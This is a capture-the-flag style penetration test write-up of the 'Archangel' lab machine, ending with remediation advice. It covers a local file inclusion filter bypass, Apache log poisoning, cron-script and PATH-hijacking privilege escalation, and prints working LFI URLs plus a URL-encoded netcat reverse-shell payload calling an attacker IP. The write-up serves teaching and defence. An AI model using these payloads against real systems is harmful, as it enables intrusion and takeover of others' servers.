Archangel

A report on the exploitation of a vulnerable web server.

0xd4y

April 30, 2021

0xd4y Writeups

LinkedIn: https://www.linkedin.com/in/segev-eliezer/ 

Email: 0xd4yWriteups@gmail.com

Web: https://0xd4y.github.io/ 

Table of Contents

Executive Summary        2

Attack Narrative        3

Reconnaissance        3

Port Enumeration        3

Exploiting the Web Server        4

Web Enumeration        4

Local File Inclusion        5

Log Poisoning        8

Horizontal Privilege Escalation        12

Root Privilege Escalation        13

Binary Exploitation        14

Reverse Engineering        14

Command Injection        14

Conclusion        16

Executive Summary

The attack performed on the target as outlined in this report was conducted without prior knowledge of anything about the client’s machine except for its IP address. This was done so as to mimic a real attack from a person of malicious intent. The client’s system contained multiple vulnerabilities ranging from local file inclusion to misconfigurations and an insecure SETUID binary. This machine was successfully compromised by exploiting an insecure PHP script to get a reverse shell as a low-privileged user, after which we were able to horizontally escalate privileges to a user on the system who had access to a vulnerable SETUID running as root. After the exploitation of this binary, we were able to successfully gain full privileges as root on the Archangel system. The client is highly encouraged to patch the system with the remediations outlined in the Conclusion section.

Attack Narrative

We are given the IP of the target machine. The first step to finding any vulnerability is always reconnaissance.

Reconnaissance

Before performing any kind of enumeration, it is essential to start with port enumeration. This will allow us to find possible attack vectors.

Port Enumeration

We can enumerate the ports of the machine with nmap -sC (default scripts) -sV (version detection).

The nmap scan only detected two open ports (ssh on port 22 and http on port 80). Both services are up to date, so there are no CVEs (Common Vulnerabilities and Exposures) associated with them.

Exploiting the Web Server

Web Enumeration

Seeing as http is open, we can visit the website to find potential vulnerabilities.

After browsing around the web page and running a gobuster scan on it, nothing interesting came into view. However, in the front page of the website is an email:

Most notably, we can see the domain of the email as mafialive.thm. Adding this domain to our /etc/hosts file and visiting the website at mafialive.thm, we are met with the following webpage:

The website seems to be a simple HTTP server. There may be some interesting files / directories that can be revealed using a gobuster scan.

The scan found an interesting file by the name of test.php. Visiting this PHP file and clicking on the button, we are met with the following webpage:

We can see that there is a view parameter in the URL with the full path of a PHP file called mrrobot.php. This full path is a hint that there may be an LFI (Local File Inclusion) vulnerability within the test.php script.

Local File Inclusion

We can verify this by seeing if we can convert the PHP file to base64 in order to read its source code. Using the PHP base64 filter on the mrrobot.php file, we can see the following output:

URL:

http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php

Output:

Expectedly, the output of this URL is a base64 string relating to the source code of the mrrobot.php file. Decoding this string we see the following:

Although we were able to verify the LFI vulnerability by converting the mrrobot.php file into base64, we were unsuccessful in including /etc/passwd (even though it is a globally-readable file by default).

URL:

http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php/../../../../../../../etc/passwd

Output:

The webpage provides an error message that says “Sorry, Thats not allowed”. Judging by this error message and the unsuccessful attempt at including the targeted file, we can conclude that there is a filter inside the test.php script that is detecting attempts at including local files. Implementing the same methodology that we used to read the source code for the mrrobot.php file, we can view the source code of the test.php file.

After decoding the base64 data, we are met with the contents of the test.php file’s source code:

We can see that the PHP file is looking for the strings “../..” and /var/www/html/devleopment_testing exist in the URL . More precisely, if there is a “../..” string in the URL or the URL does not have /var/www/html/development_testing, then the detection will trigger. We can bypass this by using “..//..” which functions just like “../..”.

URL:

http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//etc/passwd

Output:

The payload successfully works, and we are able to include any local file that we have read permissions to. From the /etc/passwd file, we see that there is a local user by the name of archangel. Seeing as there is an open ssh port on the box, I tried to read the user’s private ssh key to login as the user. However, the attempt to include this file proved to be unsuccessful (this may be due to us not having proper permissions, or the archangel user may not have a private ssh key).

Although we can include sensitive files on the vulnerable system, it is necessary to convert this LFI vulnerability to an RCE (Remote Code Execution) vulnerability in order to get a shell on the target.

Log Poisoning

This can be done by log poisoning^[1]. Looking back at the results of the nmap scan, we can see that the http service is running the Apache version. It follows that there is most likely an apache log file at /var/log/apache2/access.log which can be leveraged to gain RCE. After verifying the existence of this file, I used netcat to poison the log file.

We can confirm if this attempt was successful by including this log file and viewing the output of the webpage.

Seeing as the log file outputs the PHP info, we can conclude that the malicious GET request succeeded, and the PHP code was executed on the web server. Therefore, we can send another GET request to create a PHP webshell:

We can now get a reverse shell by sending the following payload:

Payload:

http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//..//var/log/apache2/access.log&cmd=rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff|%2Fbin%2Fsh+-i+2%3E%261|nc+10.2.29.238+9001+%3E%2Ftmp%2Ff

Note that a url-encoded netcat reverse shell was used  

The revshell^[2] tool was used to create the reverse shell payload, and we are able to get a shell as the www-data user.

Horizontal Privilege Escalation

With a low-privileged shell, we are unable to execute any commands that may lead to a privilege escalation. However, we can exploit misconfigurations on the server to potentially escalate privileges. The local user (archangel) may have some files that we have access to that could potentially lead to us compromising his or her account. We can enumerate all the files that this user owns on the local system with the following command:

We can see a potentially interesting file by the name of “secret”, however this file was a rabbit hole. There are two other interesting findings located in the /opt directory. Going into this directory and looking at the permissions of the helloworld.sh file, we see that we have full privileges on this file.

Furthermore, we can see from /etc/crontab that there is a cronjob executing it as the archangel user.

Therefore, we can append a reverse shell on the file and listen on the specified port.

Eventually, the cronjob runs and we get a shell as the archangel user.

Root Privilege Escalation

As the archangel user, we now have access to the myfiles directory located in the compromised user’s home directory.

Binary Exploitation

Within this directory lies a “backup” file with SETUID root permissions. Upon executing this file, we can see that the binary is calling the cp command:

We can download this file using netcat to further analyze this binary on our attack box with Ghidra^[3].

Reverse Engineering

Ghidra converts assembly code into C code. It finds that this file is relatively small with only a couple lines of code:

As can be seen, the binary is calling the cp command without using a full path.

Command Injection

Thus, we can exploit this vulnerability by creating a file called cp and modifying our PATH environment variable to prioritize the location of this malicious file^[4]:

Now when we execute the backup binary, it will run our malicious file instead of the intended command.

Conclusion

The client is running a vulnerable http service that is at risk of being exploited. A malicious attacker can achieve full root access on this system without trouble. This system must be patched as soon as possible, and the following remediations will provide a stronger defense against possible attacks:

• Modify the test.php script on the development site to not include user-inputted files

• The script can be modified to only whitelist certain file names
• Failure to correctly include files resulted in a critical RCE vulnerability

• Be mindful of misconfigurations within the local system

• The www-data user was able to modify a critical cronjob run as the archangel user, which allowed for horizontal privilege escalation

• Always use full paths when performing any action as a privileged user

• Due to the improper use of a command in a binary running as root, we were able to escalate privileges to the root user through modifying the PATH environment variable

It is highly encouraged that the system be patched as soon as possible with the aforementioned remediations.